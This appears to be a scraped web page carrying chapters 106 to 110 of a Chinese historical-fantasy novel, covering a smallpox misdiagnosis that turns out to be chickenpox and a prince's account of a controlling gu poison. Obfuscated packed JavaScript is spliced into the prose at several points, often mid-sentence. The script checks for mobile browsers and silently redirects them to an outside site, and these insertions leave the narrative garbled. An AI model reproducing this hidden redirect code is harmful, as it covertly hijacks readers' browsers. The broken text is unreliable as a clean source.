l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481965|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命了?” 宁芷薇缓缓站起身,整理了一下衣袖。她目光平静地看向老大夫,语气沉稳:“大夫有所不知,这位姑娘并非染上天花。您若不信,不妨仔细观察她脸上的疱疹。” “荒谬!”老大夫冷哼一声,眼中闪过一丝不屑。他的手指微微颤抖,显然对当前的情况十分紧张。“老夫行医四十余载,天花症状再清楚不过。小娘子年纪轻轻,怎敢妄下定论?” 话音未落,老大夫已经转身走向医馆内室。他的脚步匆忙,甚至带起一阵风,吹得桌上的医书哗啦作响。随手将门关上时,发出“砰”的一声闷响。 宁芷薇看着紧闭的门扉,轻叹一声。屋内的空气似乎凝固了,只有油灯的火苗还在不安分地跳动。她能理解老大夫的谨慎,但此刻最重要的是尽快医治沈良萱。 秦远霄站在一旁,默默注视着这一切。他的目光在妻子身上停留片刻,眼中闪过一丝赞赏。 “唐公子,”宁芷薇转向沈良远,声音温和而坚定,“我们先回府上。这病虽也会传染,但只要及时治疗,并无大碍。” 沈良远连连点头,眼中闪烁着感激的泪光。他小心翼翼地抱起妹妹,生怕碰到她身上的疱疹。沈良萱在昏迷中发出微弱的呻吟,让人心疼。 秦远霄上前帮忙调整了一下沈良萱的姿势,确保她能躺得更舒服些。三人缓缓向外走去,脚步声在空荡的医馆内回响。 夜色已深,街道上零星可见提着灯笼赶路的行人。骡车在宁远的街道上缓缓前行,车轮碾过石板路发出规律的声响。宁芷薇透过车窗看着外面,街边的店铺大多已经关门,只有几家酒楼还亮着灯。 一路上,宁芷薇的心思并未完全放在外界。她暗自盘算着界阙里储存的药物,思索着最适合治疗水痘的方案。现代医学在治疗这类疾病上有着显著优势,但如何在不引起怀疑的情况下使用这些药物,还需要仔细考虑。 骡车最终停在了一座气派的宅院前。这是沈良远用做生意赚来的银子置办的房产,虽比不上富贵人家的豪宅,却也宽敞整洁。朱漆大门在月光下泛着淡淡的光泽,门前的石狮子威严地守护着这座宅院。 第一百零六章 刚进院子,就听见急促的脚步声由远及近。沈夫人匆匆赶来,她身后跟着几个提着灯笼的丫鬟。看到女儿满脸红疹的模样,她的脸色瞬间变得煞白,身子晃了晃,差点站立不稳。 “良远,萱儿这是...”沈夫人的声音里带着掩饰不住的惊慌。 “娘,您别担心,”沈良远打断母亲的话,生怕她说出什么不吉利的话来,“这位大嫂说能治。” 宁芷薇没有耽搁,立刻钻进骡车,借着取药的机会进入界阙。现代医药的白色包装在界阙的灯光下显得格外刺眼。她迅速取出几种治疗水痘的药物,小心地将胶囊外壳去掉,重新包好。 回到房间,丫鬟们已经准备好了温水,宁芷薇亲自看着沈良萱服下药物。渐渐地,沈良萱的呼吸变得平稳,脸上的潮红也稍微退去了一些。 她又将药物交给沈良远嘱咐道:“这些药要按时服用,一日三次。记住,一定要让明萱卧床休息,不可随意走动。” 看到女儿情况似乎有所好转,沈夫人悬着的心稍稍放下。她拉着宁芷薇的手,眼中含泪:“姑娘,真是太感谢你了。” 宁芷薇正要说话,院外突然传来了嘈杂的脚步声。脚步声混杂着兵器碰撞的声响,由远及近,很快就到了院门口。 “查检!” 一队身着官服的衙役出现在门口,火把的光芒照亮了院子。为首的正是柳青山,他身着一身崭新的官服,腰间别着令牌,显得威风凛凛。 看到秦远霄夫妇时,柳青山明显愣了一下,随即露出恭敬的神色:“秦九爷,九夫人,你们怎么还没回家?” 宁芷薇心中一紧,她知道,这是官府得到天花消息后正挨家挨户的检查。现在的关键的是如何保护沈家,避免他们被错误地隔离。她看了眼秦远霄,后者微不可察地点了点头。 院子里的气氛瞬间变得紧张起来。沈夫人下意识地往女儿房间的方向看去,手指紧紧绞着帕子。丫鬟们缩在角落,大气都不敢出。 柳青山身后的衙役手持火把,火光在院墙上投下摇曳的影子。夜风吹过,带来一丝凉意,却驱散不了众人心中的忐忑。 秦远霄伸手拦住了柳青山的去路,他的身影在院落的阴影中显得格外沉稳。初春的寒意还未完全散去,空气中飘荡着淡淡的梅花香气。 “不必进去了,你们要找的目标正在这宅子里。”秦远霄的声音不疾不徐,却带着不容置疑的力量。 柳青山猛地停住脚步,脸上的血色瞬间褪去。他的目光慌乱地在院子里扫视,仿佛在寻找什么可怕的东西。身后的衙役们也不自觉地后退了几步,手中的水火棍握得更紧了。 “九、九爷......”柳青山的声音颤抖得厉害,喉结上下滚动,“那可是天花啊......” 宁芷薇站在廊下,看着这一幕,唇角微微上扬。春日的阳光透过屋檐的缝隙洒在她的脸上,为她添了几分温柔的气息。 “柳捕头不必惊慌,”她缓步走下台阶,裙摆轻轻拂过地面,“那小姑娘并非天花,只是医馆大夫看错了。” 柳青山愣在原地,下巴都惊掉了,一时间竟说不出话来。他的目光在秦远霄和宁芷薇之间来回游移,手指无意识地绞着衣角。院子里一片寂静,只有远处传来几声零星的鸟鸣。 “九夫人所言当真?”他小心翼翼地问道,声音里带着一丝希望。 宁芷薇微微颔首:“自然当真。我已经仔细诊断过,那孩子只是得了水痘,虽然症状相似,但并非天花。” 这句话仿佛一道春雷,瞬间惊醒了所有人。柳青山脸上的表情由惊恐转为狂喜,整个人都轻松了下来。他身后的衙役们也纷纷松了一口气,有人甚至笑出了声。 “太好了!实在是太好了!”柳青山激动得手舞足蹈,“我这就去告诉大人这个好消息!” 说完,他拉着还在发愣的同伴,一溜烟地跑远了,留下一串急促的脚步声回荡在院子里。 宁芷薇望着柳青山离去的背影,眼神微微恍惚。春风拂过她的发梢,带来一丝清凉。既然柳青山在这里,想必秦雪松也在为此事奔波。她转头看向秦远霄,正好对上他温柔的目光。 “要不要去衙门看看?”秦远霄轻声问道,眼底闪过一丝关切,“顺便接八哥回家。” 宁芷薇点头应允。 两人驾着骡车朝衙门方向而去。街道上空荡荡的,几乎看不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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蒋承志眼中闪过一丝希望的光芒,但很快又被担忧取代:“九嫂所言当真?这可不是小事......” “自然当真。”秦远霄在一旁补充道,目光中带着几分骄傲,“我家夫人自幼**医,这点眼力还是有的。” 第一百零七章 蒋承志长舒一口气,整个人都轻松了许多。他走到案桌前,提笔写了几道命令:“如此甚好,我这就下令解除封城。” 正说着,柳青山气喘吁吁地跑了进来,身后还跟着一名官差。他的衣服已经被汗水浸湿,显然是一路狂奔而来。 “大人!大人!”柳青山还没站稳,就迫不及待地喊道,“那小姑娘......” 蒋承志抬手制止了他的话:“本官已经知道了。柳青山,你即刻赶往允城,禀报府台大人,宁远天花一事纯属误诊。” 柳青山领命而去,脚步比来时还要急促。 不多时,又有官差带着几个面带愁容的大夫前来。这些大夫是知府派来的,个个面如死灰,显然已经做好了赴死的准备。他们的衣服上还带着艾草的味道,想必是做足了防护措施。 蒋承志看了看这些大夫,心中不禁感慨。若非宁芷薇及时发现真相,这些人岂不是白白送了性命?想到这里,他的声音不自觉地柔和了几分。 “诸位大夫辛苦了,本官这就派人送你们回府。” 几个大夫面面相觑,似乎不敢相信自己的耳朵。有人甚至伸手掐了掐自己的脸,确认这不是梦。 就在此时,允城衙门内,一场意味深长的对话正在进行。 东睿负手而立,目光深邃如潭水。窗外的阳光透进来,在他身上镀上一层淡淡的金边。他的神情平静,但眼底却藏着说不清道不明的情绪。 卢知府站在一旁,额头上的汗珠不停地往下滚:“王爷,宁远现在太过危险......” “无妨。”东睿打断了他的话,声音低沉而坚定,“本王此行本就不为人知,正好借此机会。” 卢知府还想再劝,却被东睿一个眼神制止。大堂内一时陷入沉默,只有檐下风铃发出清脆的响声。 “备马。”东睿转身向外走去,衣袂翻飞,“随本王去宁远。” 卢知府看着东睿的背影,欲言又止。他知道,这位王爷一旦决定的事,就没人能改变。 春日的阳光洒在大堂的地面上,在青石板上投下斑驳的影子。一切都在悄然改变,而这个看似平静的午后,却暗藏着无数的波澜。 东睿站在城门外,目光深沉地望着眼前的宁远。初夏的阳光洒在青石板上,映出一片斑驳的光影。城门两侧的守卫神色紧张,不时偷瞄着这位不速之客。 “卢知府,本王此行只为游玩,今日之事就当没发生过。”他语气平淡,眼底却闪过一丝不易察觉的锐利。 卢知府连连点头,额头上已沁出细密的汗珠,声音都有些发颤:“是是是,下官明白。只是...只是这突发之事......” “无妨。”东睿抬手打断了他的话,目光扫过城门上方的守卫,“倒是城防松懈了些。” 卢知府的后背瞬间被冷汗浸透。他深知这位王爷看似温和,实则心思难测。连忙解释道:“下官这就去加派人手......” 东睿摆了摆手,示意他不必多言。转身带着随从进了城,身后的卢知府如释重负般松了口气。 城内街道依旧熙熙攘攘,商贩的吆喝声此起彼伏。东睿走在青石板路上,眉头微皱。按理说这种时候应该**才对,可眼前的景象却与平常无异。 “传闻宁远出现蛊毒案,怎么看着一点动静都没有?”身旁的侍卫低声问道。 东睿没有回答,只是若有所思地看着街边来往的行人。片刻后,他突然开口:“你们几个分散开,暗中保护。” 随从们心领神会,悄无声息地融入人群中。东睿独自朝县衙方向走去,袖中的瓷瓶微微发烫,似乎在提醒着什么。 县衙大门处,一群官差正簇拥着一个身材挺拔的男子往外走。那人一身捕快服饰,举手投足间却带着一种与身份不符的从容。 东睿眯起眼睛,心中一动-秦雪松。 两人四目相对的瞬间,空气仿佛凝固了。秦雪松眼中闪过一丝警惕和愤怒,但很快就被平静取代。周围的官差看到东睿,顿时噤若寒蝉。 “睿王殿下。”秦雪松行了一礼,声音平静得不带一丝波澜。 东睿下意识地摸了摸袖中的瓷瓶。按理说,母蛊在此,子蛊必有感应。可眼前的秦雪松,却毫无异样。这不合常理。 “秦.....”他顿了顿,目光在对方脸上停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481967|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留片刻,“免礼。” 秦雪松直起身,沉默地看着他。那双眼睛里藏着太多说不清道不明的情绪,让东睿一时也读不懂。 “你在这里当差?”东睿状似随意地问道,同时暗中又试了试母蛊的力量。 “不过是谋生罢了。”秦雪松淡淡道,嘴角勾起一抹冷笑,“太守大人还不晓得我到底是谁。” 东睿心中一沉。母蛊依旧毫无反应,这种情况只有一种可能...... “你的身体可还好?”他试探着问道。 秦雪松眼中闪过一丝嘲讽:“托睿王的福,我能活到今天已是不易。” 这话里的讽刺意味不言而喻。东睿脸色一变:“你知道些什么?” 秦雪松环顾四周,目光在围观的百姓身上扫过:“王爷确定要在这里谈?” 东睿这才意识到失态,立刻转身道:“随我来。” 秦雪松被带到睿王府。他毫不客气地坐下,神色间带着几分挑衅。窗外传来街市的喧嚣,却衬得室内更加安静。 “这里面是魇魂蛊的母蛊。”东睿将瓷瓶放在桌上,目光紧紧盯着秦雪松的反应。 “哦?与我何干?”秦雪松挑眉,语气中带着几分嘲弄。 东睿深吸一口气:“你我都清楚这是怎么回事。当**......” “当**?”秦雪松突然打断他,眼中闪过一丝痛楚,“王爷是想说,当年如何害死我父亲,又如何在我体内种下蛊毒吗?” 东睿神色一滞:“其实我也是被人胁迫......” “被人胁迫?”秦雪松冷笑,“堂堂睿王,竟也会被人胁迫?” 宁芷薇站在秦远霄身侧,看着眼前这座富丽堂皇的宅院,心中泛起一丝不安。朱红色的大门上雕刻着精美的花纹,门前的石狮子威严肃穆,门匾上“睿王府”三个大字在阳光下熠熠生辉。 她能感受到身边男人周身散发的冰冷气息,那股寒意几乎要将空气都冻结。秦远霄的下颌线条紧绷,眼神凌厉如刀,仿佛随时会刺穿眼前的一切。 “八哥在里面。”秦远霄低声说道,声音里带着一丝她从未听过的阴沉。 第一百零八章 两人刚从官差口中得知八哥与睿王一同离开的消息,便立刻追了过来。一路上,秦远霄的马几乎要飞起来,宁芷薇紧随其后,心中不断盘算着各种可能。 东睿的侍卫很快便将他们引进了内院。穿过曲折的回廊,踏过精心修剪的花园,空气中飘散着淡淡的花香,却丝毫无法缓解两人紧绷的神经。 就在这时,传来侍卫的禀报声:“王爷,秦九爷和夫人到了。” 东睿愣住了。他没想到,秦远霄会在这个时候出现。空气中的剑拔**张瞬间达到顶点。 秦雪松的表情也出现了一丝裂痕。他死死盯着房门,手指不自觉地攥紧了衣袖。 门被推开,一对夫妇走了进来。男人气度不凡,女人容貌秀丽。正是秦远霄和他的夫人。 踏入房门的那一刻,宁芷薇下意识地握紧了秦远霄的手。她能感受到他掌心的温度比平时更高,那是压抑着怒火的征兆。 房内陈设典雅,檀木家具上雕刻着繁复的纹样,茶几上的青瓷茶具散发着淡淡的茶香。八哥正坐在一旁的太师椅上,面无表情,眼神空洞,像是一具没有灵魂的躯壳。 “九叔。”秦雪松站起身,声音有些发涩。 “见过睿王殿下。”秦远霄开口,声音冷得像是淬了冰。他连最基本的行礼都省略了,这种无礼的举动在平日里足以惹来**烦,但此刻的他显然并不在意这些。 宁芷薇更是连一句话都懒得说,就这么站在秦远霄身边。她的目光在八哥和东睿之间来回扫视,试图从中发现些什么。 东睿倒是不以为意,脸上挂着温和的笑容,伸手示意请进:“两位请坐。”他身着华贵的锦袍,举手投足间尽显王室风范,但宁芷薇总觉得这份从容有些刻意。 秦远霄看了看他,又看了看东睿,叹了口气:“坐吧,有些事,是时候说清楚了。” 东睿的目光在三人之间游移。他知道,接下来的对话,或许会揭开多年前那个血腥夜晚的真相。而这个真相,很可能会颠覆他的认知。 秦远霄拉着宁芷薇在八哥身边坐下。宁芷薇能感觉到,秦远霄的身体紧绷着,像是一张拉满的弓,随时可能射出致命的一箭。 “以刚才睿王殿下的意思,我八哥所中的魇魂蛊,是你的手笔?”秦远霄开门见山地问道,目光如炬地盯着东睿。 东睿的表情微微一滞,随即露出一抹苦笑:“与我有关,但并非我下的蛊。事情说来话长...”他的手指无意识地摩挲着茶杯边缘。 “此话怎讲?”秦远霄的声音更冷了几分。 “五年前的一个春日...”东睿放下茶杯,缓缓道来,“那天夜里,有人潜入我的寝宫,用母妃的性命要挟我配合他们的计划。那人蒙面,声音经过处理,我至今不知他的**。” 宁芷薇听着东睿讲述那个神秘人如何以他母妃的性命相要挟,不由得皱起眉头。她注意到东睿说话时的细微表情变化,那些转瞬即逝的犹豫和不安。 这故事听起来似乎合情合理,可总觉得哪里不对劲。就像是一幅完整的画作中,有那么一笔格格不入。 “所以,你是被逼无奈?”她突然开口问道,目光紧紧盯着东睿的眼睛。 东睿点头,眼中闪过一丝宁芷薇读不懂的情绪:“为了母妃,我不得不照做。那人给了我一些魇魂蛊,要我找机会...” “那八哥身上的魇魂蛊又是怎么回事?”秦远霄打断了他的话,声音里带着显而易见的不耐烦。 东睿叹了口气,从袖中取出一个白色瓷瓶放在桌上:“这是控制魇魂蛊的母蛊。” 瓷瓶通体洁白,上面绘着繁复的花纹,看起来普普通通,却让宁芷薇感到一阵心悸。 东睿详细讲述了如何发现八哥被控制,又是如何从那神秘人手中要来母蛊的经过。他说得情真意切,仿佛真的是一个被迫卷入阴谋的无辜者。 宁芷薇看着那个瓷瓶,想起之前在《奇虫秘录》中看到的记载。母蛊转让确实只需要新主人的一滴血,这点倒是与东睿所说相符。 可是... “既然你说是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481968|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被逼无奈,为何不早些将真相告诉我们?”她忍不住问道,“以睿王殿下的能力,想必...” 东睿脸上闪过一丝愧疚:“我...”他的手指不自觉地绞在一起,“我担心那人会对母妃不利,而且...” 话未说完,突然外面传来一阵急促的脚步声,打断了他的解释。 宁芷薇心中一紧,下意识地看向秦远霄。她注意到东睿的表情似乎并不意外,反而带着一丝难以察觉的期待。 这故事,恐怕还有更多不为人知的内情。房间里的气氛越发凝重,连空气似乎都变得粘稠起来。 秦远霄握着宁芷薇的手紧了紧,她能感受到他掌心传来的温度和力度。这个向来运筹帷幄的男人,此刻也在为接下来可能发生的事情做着准备。 宁芷薇的心跳微微加快,指尖不自觉地摩挲着界阙里那只透明的瓶子。平日里安静的子蛊此刻竟如同发了疯一般,在瓶中疯狂地扭动着身躯,撞击着玻璃壁,发出细微的“叮叮”声响。 “真是有趣。”她轻声低语,目光紧盯着瓶中暴躁的蛊虫。即便这只子蛊真能挣脱瓶子的束缚,也不过是在她的界阙里打转,根本无法对外界造成任何威胁。但这异常的举动,却印证了东睿所言非虚——他手中确实掌握着那只能够操控子蛊的母蛊。 夜色渐深,营帐内的气氛却愈发凝重。秦远霄坐在主位上,面容沉静,眼底却藏着一丝不易察觉的波动。他的目光在东睿和秦雪松之间来回游移,似乎在权衡着什么。 “凭什么让我信你说的话?”秦远霄开口,声音低沉而富有磁性。 东睿微微抬头,目光坦然:“塞北秦雪松的坟墓被人挖开,是我所为。” 这句话像一颗石子投入平静的湖面,激起了一圈涟漪。秦远霄的眉头微微蹙起,手指无意识地敲击着桌面:“为何要这样做?” “塞北有许多忠于秦家的将士。”东睿缓缓道来,语气中带着几分笃定,“他们看到坟墓被挖,必然会设法通知于你。这是最稳妥的传递消息的方式。” 第一百零九章 宁芷薇注意到秦远霄的神色有了细微的变化。这确实是个合理的解释,毕竟知晓秦雪松还活着的,也只有东睿一人。营帐内的烛火摇曳,在墙壁上投下晃动的影子,仿佛也在诉说着这段隐秘的往事。 “若要传递消息,直接派人通知不是更为便捷?”秦远霄追问道,手指停止了敲击,转而握紧了椅子扶手。 东睿摇头,脸上浮现出一丝苦笑:“我曾有此想法。但以秦家人的性情,若知晓秦雪松在我手中,必定会不顾一切杀回京城。这与我的计划相悖。”他顿了顿,目光转向一旁沉默的秦雪松,“我需要时间,需要让那个人相信我已经完全控制了秦雪松。” 宁芷薇的目光在东睿脸上逡巡,试图从他的表情中找出破绽。但东睿的眼神清澈,言语间透着真诚,这让她不得不开始相信他的话。 “所以你选择让他成为**中的一员?”秦远霄冷声问道。 “不错。”东睿点头承认,“我甚至刻意让他这几日不进饮食,生怕你斗不过这个狠角色。我只希望交手时,你能从他身上找到一丝熟悉的影子。” 营帐内的空气仿佛凝固了一般。秦远霄的手指微微收紧,指节泛白。宁芷薇能感受到他压抑的怒意,但他仍保持着表面的平静。 “既然如此,你为何又要来塞北寻他?”秦远霄沉声问道。 东睿的神色变得凝重,眉头紧锁:“派出的**全军覆没,那人必然会起疑。加上从母蛊的反应来看,秦雪松体内的子蛊仍然活着,却不受我控制。与其等那人寻来,不如我先行一步。” 他站起身,来回踱步:“他这阵子在忙大事,数月内不会露面。但我们必须抓紧时间。”说着,他的目光一直在打量秦雪松,眼中闪过疑惑——秦雪松完全不像中蛊之人。 宁芷薇注意到东睿的表情变化,心中暗自思忖。她的手指不自觉地摩挲着袖中的银针,随时准备应对可能的变故。 “我可以立刻为秦雪松解除蛊虫。”东睿停下脚步,抬手示意那装满蛊虫的玉瓶开口,“但我有个条件。” 秦远霄眯起眼睛:“说来听听。” “我需要秦雪松随我回京,继续扮演中蛊之人。”东睿深吸一口气,“否则那人起疑,我母妃性命难保。” “不可能。”秦远霄斩钉截铁地拒绝,声音中带着不容置疑的威严。 宁芷薇看到东睿眼中闪过一丝急色,他快步上前:“难道你们不想为他解蛊?这可能是唯一的机会!” “我八哥可像是中蛊之人?”秦远霄冷笑,目光如刀般锐利。 东睿愣住了,他的目光在秦雪松身上停留许久,终于露出恍然大悟的神色。营帐内一时陷入沉默,只有外面的风声呜咽。 “那人到底是谁?”秦远霄突然转变话题,声音低沉而危险。 东睿苦笑着摇头:“从未见过真容,就记得那一脑袋银丝,每次示人都是不同的女子面貌。神出鬼没,行踪诡秘。” 宁芷薇心中一动,这与风渠所说的师父特征完全吻合。她下意识地看向秦远霄,发现他的眼中已经燃起了一团火焰。 “可知此人下落?”秦远霄追问。 “三面之缘,皆是他主动寻我,我却无法找他。”东睿摊手,露出无奈的神色,“不过我曾听他说过一句话——若能将秦家男儿尽数收为傀儡,便是他为心上人报仇之日。” 这句话在营帐内激起一阵无形的波澜。秦远霄的眼神变得锐利,手指不自觉地握紧。宁芷薇能感受到空气中弥漫的紧张气息,她悄悄将手中的银针握得更紧了些。 夜色愈发深沉,营帐外传来巡逻士兵的脚步声。东睿站在原地,神色复杂地看着秦雪松,似乎在等待最后的决定。而秦远霄则陷入沉思,眉头紧锁,显然在权衡利弊。 宁芷薇的目光在几人之间游移,心中思绪万千。她知道,接下来的决定将会影响到所有人的命运。界阙里的子蛊仍在躁动,仿佛在预示着即将到来的风暴。 秦远霄没有告诉东睿真相,他不能让自己的妻子陷入危险。窗外的阳光透过薄纱洒落在地面上,在木质地板上投下斑驳的光影。茶香袅袅升起,却驱散不了房间里微妙的气氛。 虽然东睿的话听起来合情合理,但他毕竟曾经做过对秦家不利的事。那些往事如同沉重的阴影,始终笼罩在秦远霄心头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485413|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他的手指无意识地摩挲着茶杯边缘,目光若有所思。 若让东睿知道薇薇会解蛊,谁也不敢保证他会不会起什么歪心思。秦远霄抿了一口茶,温热的茶水滑过喉咙,却难以抚平内心的不安。 “解开八哥身上蛊毒的是一位世外高人,如今我也联系不上他。”秦远霄放下茶杯,语气平淡地说道。茶水在杯中轻轻晃动,映出他略显疲惫的面容。 东睿的手指猛地攥紧,指节泛白。他急切地向前倾身,声音里带着几分颤抖:“能否告诉我一些线索?就算是一点点也好。” 阳光下,细小的尘埃缓缓飘动。秦远霄沉默片刻,心中权衡着利弊。若是帮东睿母妃解蛊能为秦家带来好处,让薇薇出手倒也不是不可以。但这其中的风险,却不得不慎重考虑。 “那位高人性情古怪,不喜与生人打交道,还整天戴着面具装神秘。”秦远霄缓缓说道,目光落在窗外摇曳的树影上,“若是我贸然泄露他的行踪,恐怕会给秦家招来麻烦。” 东睿的眼中闪过一丝失望,但很快又燃起希望。他猛地站起身,衣袖带起一阵微风:“倘若你能替我寻到那位破解蛊毒的神人,你提什么条件我都接受!” 屋内一时寂静。秦远霄看着东睿急切的模样,想起了当初在宫中见到的那个温和有礼的少年。岁月流转,曾经的少年如今已是一方诸侯,但那份对母亲的孝心却始终未变。 “睿王若是这几日都在宁远,我可以试着联系那位高人。”秦远霄站起身,整理了下衣袖,“有消息第一时间告诉你。” 这番话自然有他的打算。通过东睿这条线索,或许能找到那个神秘的鹤发童颜之人。非得寻到此人不可,才能得知大哥二哥的下落。想到失踪的兄长,秦远霄的心不由得一紧。 东睿激动得浑身颤抖,竟忘了自己王爷的身份,对着秦远霄深深一揖:“只要能救我母妃,让我做什么都行!” 阳光照在东睿佝偻的背上,拉长了他的影子。京城贵族都知道东睿的孝心。他和母妃从小在宫中不受宠,相依为命才活到今日,母子情深可想而知。看着他这般模样,秦远霄心中也不禁泛起一丝触动。 第一百一十章 “三日后,还是这里,我会给睿王答复。”秦远霄轻声说道。 “好,我便在此守候你的佳音。”东睿直起身,眼中带着期待的光芒。 秦远霄不再多言,转身牵起宁芷薇的手:“八哥,我们回去吧。” 几人没有直接回东麓村,反倒率先奔赴官府。马蹄声在石板路上回响,街道两旁的店铺已经陆续开始收摊,夕阳的余晖为整个宁远镀上一层金色。 这时蒋承志已经处理完天花乌龙的后续事宜,正在院子里来回踱步。见他们回来,连忙张罗着要留他们吃晚饭。衙门里的下人们也忙碌起来,准备摆桌。 至于东睿,既然人家没来找他,他也乐得装作不知。毕竟王爷私访,知道得越少越好。 “多谢孟兄好意,不过咱们在外奔波已久,家中老母定然担心,今日就不打扰了。”秦远霄看着满桌的菜肴,婉言谢绝。 蒋承志也不强留,笑着说道:“那我送送几位。” 上了骡车后,秦远霄和秦雪松警惕地打量四周。夜色渐深,街道上行人寥寥。两人的目光在阴影处来回扫视,确认无异常,这才赶着骡车往东麓村去。 东睿的到来让他们不得不提高警惕。即便相信他说的话,但谨慎些总是好的。毕竟在这个风云诡谲的时代,一个不小心就可能万劫不复。 骡车在夜色中缓缓前行,车轮碾过泥土的声音在寂静的夜晚格外清晰。秦远霄握着缰绳的手微微收紧,心中思绪万千。 回到东麓村,果然家人都急坏了。秦老夫人在五儿子陪同下,焦急地在村口张望。老人家的白发在月光下泛着银光,脸上的皱纹里写满了担忧。倘若迟迟未归,老人家就要让秦瑾高去宁远找人了。 秦瑾高耳力过人,远远就听到了骡车的声响。他立刻扶着母亲迎了上去,脚步匆匆,生怕母亲摔倒。 “回来了回来了。”秦老夫人看到骡车,终于露出了笑容,眼角的皱纹舒展开来。 骡车很快驶到秦老夫人面前。秦远霄二话不说,先将母亲请上车和宁芷薇同坐,五哥八哥却徒步返回府邸。夜风微凉,他不想母亲受寒。 车厢里,宁芷薇将遇到沈良远和天花乌龙的事情告诉婆婆。老人家听得认真,时不时点点头。至于东睿来宁远的事,她决定暂时不说,免得老人家担心。 回到家中,院子里灯火通明。城里买的家具已经安置妥当,嫂嫂们也做好了饭菜,满门上下都盼着他们归来用膳。厨房里飘出阵阵香气,勾人食欲。 墨圆儿原本在和秦雨澜逗兔子,感应到主人气息,立刻跑了出来。它圆滚滚的身子在月光下显得格外可爱。但见到宁芷薇时,小家伙却没有像往常一样扑过来,反而别扭地转过身去,尾巴高高翘起。 宁芷薇忍俊不禁,一把将它抱起:“怎么,在跟我生气呢?”她轻轻挠着墨圆儿的下巴,但小家伙依旧倔强地不肯看她。 “好啦好啦,别生气了,一会给你好吃的。”宁芷薇柔声哄道。 一听到好吃的,墨圆儿立刻转过圆滚滚的身子,在主人怀里蹭来蹭去,那副傲娇的模样早就不见了。逗得一旁的秦雨澜咯咯直笑。 吃过晚饭,宁芷薇带着秦远霄和墨圆儿进入界阙。月光透过竹林洒落,在地上投下斑驳的光影。她取出胡萝卜、苹果和南瓜给墨圆儿,然后一个意念将它送到专属竹林。看着小家伙欢快地啃着胡萝卜的样子,她不禁露出微笑。 “你觉得该不该帮东睿母妃解蛊?”秦远霄望着远处的竹林,轻声问道。竹叶在夜风中轻轻摇曳,发出沙沙的响声。 他之所以没有当场答应东睿,就是想听听妻子的意见。如果薇薇不愿意,无论对秦家有多大好处,他绝不会为难。这是他对妻子的尊重,也是对她的保护。 宁芷薇靠在竹子上,若有所思:“你是想借此找到那个神秘人吧?”月光下,她的侧脸显得格外柔和。 “确实有这个打算。”秦远霄点点头,目光落在远处的山峦上。夜色中,群山起伏的轮廓若隐若现。 “这样想没错。如果能帮东睿母妃解蛊,他就不用受制于人,做事也会方便些。而且他把希望寄托在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485414|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里,回去后应该不会把秦家的事说出去。”宁芷薇顿了顿,转头看向丈夫,“不过...你真的信得过东睿吗?” 这才是她最担心的。毕竟她对东睿的为人并不了解,是敌是友还需要秦远霄自己判断。夜风吹动她的发丝,在月光下泛着淡淡的光泽。 “我仔细想过东睿说的话,前后逻辑都很通顺,应该不是在说谎。”秦远霄轻声说道,“但也不排除他是故意以退为进。不管他来塞北有什么目的,我只想先达到自己的目的。关于未来种种,只能走一步看一步了。” 宁芷薇完全赞同丈夫的想法。从东睿的描述来看,那个神秘人行踪诡秘,总是遮遮掩掩不露真容,想找到他绝非易事。既然有了这条线索,无论如何都不能轻易放过。 夜色渐深,竹林中传来墨圆儿满足的呼噜声。秦远霄牵起妻子的手,两人相视一笑。无论前路如何,至少此刻,他们还有彼此。 